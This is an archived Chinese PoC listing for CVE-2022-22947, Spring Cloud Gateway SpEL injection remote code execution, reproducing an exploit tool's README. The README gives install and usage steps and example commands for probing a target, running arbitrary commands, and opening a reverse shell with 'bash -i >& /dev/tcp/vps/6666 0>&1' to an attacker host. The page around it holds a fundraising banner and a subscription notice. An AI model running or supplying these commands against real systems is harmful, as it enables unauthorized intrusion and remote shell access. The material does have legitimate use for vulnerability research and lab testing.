目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2022-22947 PoC — VMware Spring Cloud Gateway 代码注入漏洞

来源
关联漏洞
标题: VMware Spring Cloud Gateway 代码注入漏洞 (CVE-2022-22947)
Description:VMware Spring Cloud Gateway是美国威睿(VMware)公司的提供了一个用于在 Spring WebFlux 之上构建 API 网关的库。 VMware Spring Cloud Gateway 存在代码注入漏洞,远程攻击者可利用该漏洞发出恶意的请求并允许在远程主机上执行任意远程命令。
Description
spring-cloud-gateway-rce  CVE-2022-22947
介绍
# Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)

## 1.installation

```shell
pip3 install -r requirements.txt
```

## 2.Usage

```shell
$ python3 spring-cloud-gateway-rce.py -h

   ___             __         ____    ___   ____   ____          ____   ____    ___   _  _    _____
  / __\ /\   /\   /__\       |___ \  / _ \ |___ \ |___ \        |___ \ |___ \  / _ \ | || |  |___  |
 / /    \ \ / /  /_\   _____   __) || | | |  __) |  __) | _____   __) |  __) || (_) || || |_    / /
/ /___   \ V /  //__  |_____| / __/ | |_| | / __/  / __/ |_____| / __/  / __/  \__, ||__   _|  / /
\____/    \_/   \__/         |_____| \___/ |_____||_____|       |_____||_____|   /_/    |_|   /_/


                                        CVE-2022-22947 Spring Cloud Gateway RCE
                                                                  By:K3rwin
usage: spring-cloud-gateway-rce.py [-h] [-u URL] [-c CMD] [-s SYSTEM]

Spring Cloud Gateway RCE 帮助指南

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     指定url
  -c CMD, --cmd CMD     指定执行的命令,默认执行whoami
  -s SYSTEM, --system SYSTEM
                        指定目标主机操作系统,默认linux,参数为win/linux

```

## 3.example

### ① -u 探测漏洞

```shell
python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/"
```

![image-20220313174120379](README.assets/image-20220313174120379.png)

### ② -c 指定执行命令

```shell
python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/" -c "ip add"
```

![image-20220313174205428](README.assets/image-20220313174205428.png)

### ③ 反弹shell

```shell
python3 spring-cloud-gateway-rce.py -u "http://192.168.50.111:8080/" -c "bash -i >& /dev/tcp/vps/6666 0>&1"
```

![image-20220313175050373](README.assets/image-20220313175050373.png)

## docker靶场

[vulfocus](http://vulfocus.io/)

![image-20220313175230109](README.assets/image-20220313175230109.png)
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →